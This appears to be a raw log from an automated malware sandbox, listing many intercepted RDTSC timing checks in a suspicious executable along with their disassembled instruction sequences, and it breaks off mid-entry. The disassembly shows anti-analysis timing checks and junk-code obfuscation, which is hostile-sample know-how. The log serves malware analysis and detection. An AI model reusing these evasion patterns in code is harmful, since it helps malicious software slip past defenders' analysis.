Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2621CE second address: 2621D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2621D2 second address: 2621F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 jmp 00007FC6DD08F79Bh 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FC6DD08F796h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2621F0 second address: 2621F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2624C4 second address: 2624D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FC6DD08F7A2h 0x0000000c ja 00007FC6DD08F79Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2628E7 second address: 262925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jne 00007FC6DD698E56h 0x0000000e jmp 00007FC6DD698E68h 0x00000013 popad 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jmp 00007FC6DD698E61h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 262925 second address: 262929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 264AE4 second address: 264AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FC6DD698E56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 264AF2 second address: 264B1F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jg 00007FC6DD08F7ACh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 264B1F second address: 264B44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnl 00007FC6DD698E64h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 264B44 second address: 264B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC6DD08F796h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 264B53 second address: 264B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2650B1 second address: 2650BB instructions: 0x00000000 rdtsc 0x00000002 js 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2651C8 second address: 2651CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2657E9 second address: 265805 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 265A19 second address: 265A23 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 265B17 second address: 265B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 265CD0 second address: 265CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 265D93 second address: 265D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 265E0E second address: 265E2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FC6DD698E5Ch 0x00000012 jo 00007FC6DD698E56h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26642A second address: 26642F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26642F second address: 26649D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC6DD698E56h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FC6DD698E58h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov edi, dword ptr [ebp+122D2C37h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FC6DD698E58h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov si, di 0x0000004f mov edi, dword ptr [ebp+122D2B8Fh] 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 push edx 0x0000005a pop edx 0x0000005b jo 00007FC6DD698E56h 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26649D second address: 2664BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2664BE second address: 2664C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 266BCB second address: 266BD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 266BD0 second address: 266BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26889C second address: 268900 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FC6DD08F798h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 pushad 0x0000002a jnc 00007FC6DD08F79Ch 0x00000030 add al, 00000075h 0x00000033 popad 0x00000034 push 00000000h 0x00000036 mov esi, ebx 0x00000038 sub dword ptr [ebp+122D1DF8h], esi 0x0000003e xchg eax, ebx 0x0000003f push ecx 0x00000040 push esi 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2686A1 second address: 2686AB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 269F1B second address: 269F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 269F21 second address: 269F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC6DD698E5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 269F2E second address: 269FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edi 0x00000009 call 00007FC6DD08F798h 0x0000000e pop edi 0x0000000f mov dword ptr [esp+04h], edi 0x00000013 add dword ptr [esp+04h], 00000018h 0x0000001b inc edi 0x0000001c push edi 0x0000001d ret 0x0000001e pop edi 0x0000001f ret 0x00000020 sbb esi, 6F59FD38h 0x00000026 mov esi, dword ptr [ebp+122D1D1Ch] 0x0000002c push 00000000h 0x0000002e mov esi, eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FC6DD08F798h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c push edx 0x0000004d jmp 00007FC6DD08F79Ch 0x00000052 pop edi 0x00000053 jmp 00007FC6DD08F79Dh 0x00000058 jmp 00007FC6DD08F79Fh 0x0000005d xchg eax, ebx 0x0000005e push ebx 0x0000005f jmp 00007FC6DD08F7A9h 0x00000064 pop ebx 0x00000065 push eax 0x00000066 push ebx 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26AA4D second address: 26AA52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26B5DD second address: 26B5F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26B5F9 second address: 26B5FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26F047 second address: 26F04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26F04F second address: 26F055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26F679 second address: 26F67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26F67D second address: 26F68B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007FC6DD698E56h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26F800 second address: 26F807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26F807 second address: 26F82F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6DD698E66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 270957 second address: 27095B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27095B second address: 270961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 273C4F second address: 273C55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 273C55 second address: 273C78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 274C20 second address: 274C24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 273E0F second address: 273E14 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 274C24 second address: 274C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 274C2A second address: 274C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 274C2F second address: 274C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC6DD08F796h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 275BC4 second address: 275C56 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC6DD698E64h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FC6DD698E58h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d or dword ptr [ebp+122D1ED9h], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007FC6DD698E58h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f mov edi, 2FF292CDh 0x00000054 push esi 0x00000055 mov di, bx 0x00000058 pop ebx 0x00000059 push 00000000h 0x0000005b mov bx, 6D6Bh 0x0000005f push eax 0x00000060 pushad 0x00000061 pushad 0x00000062 pushad 0x00000063 popad 0x00000064 pushad 0x00000065 popad 0x00000066 popad 0x00000067 push eax 0x00000068 push edx 0x00000069 jo 00007FC6DD698E56h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 276BCE second address: 276BE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 276BE6 second address: 276BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 275E2F second address: 275E35 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 277BC9 second address: 277BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC6DD698E5Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 277BDD second address: 277BE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FC6DD08F796h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 277BE7 second address: 277C4E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FC6DD698E58h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D1E09h], edx 0x0000002d push 00000000h 0x0000002f mov edi, esi 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007FC6DD698E58h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d movzx edi, cx 0x00000050 xchg eax, esi 0x00000051 jc 00007FC6DD698E6Eh 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 277C4E second address: 277C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 277C52 second address: 277C6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FC6DD698E56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 277F03 second address: 277F1B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FC6DD08F796h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27A94F second address: 27A969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27A969 second address: 27A974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27BB4E second address: 27BB54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27AA93 second address: 27AAA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27AAA1 second address: 27AAA6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27AAA6 second address: 27AAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FC6DD08F796h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27AB82 second address: 27ABA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007FC6DD698E68h 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007FC6DD698E56h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27ABA0 second address: 27ABA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27CB07 second address: 27CB7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, ecx 0x0000000b push 00000000h 0x0000000d mov bh, A7h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FC6DD698E58h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b sub ebx, 0FC4F1BAh 0x00000031 mov edi, ecx 0x00000033 xchg eax, esi 0x00000034 jmp 00007FC6DD698E69h 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007FC6DD698E69h 0x00000040 push eax 0x00000041 push edx 0x00000042 jnp 00007FC6DD698E56h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27BD3F second address: 27BD45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27BD45 second address: 27BD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27BD49 second address: 27BDBF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007FC6DD08F79Fh 0x00000012 cld 0x00000013 pop ebx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FC6DD08F798h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 or di, F72Ah 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 sbb edi, 60C1A921h 0x00000047 mov eax, dword ptr [ebp+122D000Dh] 0x0000004d pushad 0x0000004e sbb ax, D9F0h 0x00000053 mov dword ptr [ebp+12486B26h], ebx 0x00000059 popad 0x0000005a push FFFFFFFFh 0x0000005c mov edi, dword ptr [ebp+12460038h] 0x00000062 push eax 0x00000063 push edi 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27BDBF second address: 27BDC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27DC1E second address: 27DC22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27EBF2 second address: 27EC01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC6DD698E56h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 27EC01 second address: 27EC9D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FC6DD08F798h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 or di, E065h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FC6DD08F798h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Dh 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 xor di, 597Eh 0x0000004e push 00000000h 0x00000050 push 00000000h 0x00000052 push ecx 